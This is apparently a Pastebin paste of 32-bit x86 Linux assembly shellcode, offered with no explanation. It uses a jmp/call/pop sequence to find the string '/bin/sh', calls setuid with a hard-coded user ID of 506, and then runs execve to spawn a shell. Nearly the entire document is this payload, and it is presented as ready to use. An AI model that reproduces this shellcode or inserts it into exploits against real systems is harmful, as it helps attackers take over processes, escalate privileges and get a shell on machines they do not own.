Advertisement
Guest User

Untitled

a guest
May 28th, 2017
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .section .text
  2.     .globl main
  3.     main:
  4.         jmp    bringoutthegimp
  5.  
  6.     the_gimp:
  7.         popl   %esi             #. ESI(arg4) = "/bin/sh:----____"
  8.  
  9.         #. getuid()
  10.         #xor    %eax, %eax
  11.         #movb   $24, %al
  12.         #int    $0x80            #. Wake the kernel
  13.         #movl   %eax, %ebx
  14.  
  15.         xor    %ebx, %ebx
  16.         movw   $506, %bx
  17.  
  18.         #. setuid()
  19.         xor    %eax, %eax
  20.         movb   $23, %al
  21.         int    $0x80            #. Wake the kernel
  22.  
  23.         #. execve(shell[0], shell, NULL);
  24.         xor    %eax, %eax       #. EAX = 0x00000000
  25.         mov    %al,  0x7(%esi)  #. ESI(arg4) = "/bin/sh" (+ '\0' + "----____")
  26.         leal   0x0(%esi), %ebx  #. EBX(arg1) = &ESI
  27.         movl   %ebx, 0x8(%esi)  #. ESI(arg4) = "/bin/sh" (+ '\0' + &ESI + "____")
  28.         movl   %eax, 0xc(%esi)  #. ESI(arg4) = "/bin/sh" (+ '\0' + &ESI + "\0\0\0\0")
  29.         mov    $0x0b, %al       #. EAX = 0x0000000b (execve)
  30.         movl   %esi, %ebx       #. EBX(arg1) = ESI = "/bin/sh"
  31.         leal   0x8(%esi), %ecx  #. ECX(arg2) = &ESI = &"/bin/sh"
  32.         leal   0xc(%esi), %edx  #. EDX(arg3) = NULL
  33.         int    $0x80            #. Wake the kernel
  34.  
  35.     bringoutthegimp:
  36.         call   the_gimp
  37.         .ascii "/bin/sh:----____"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement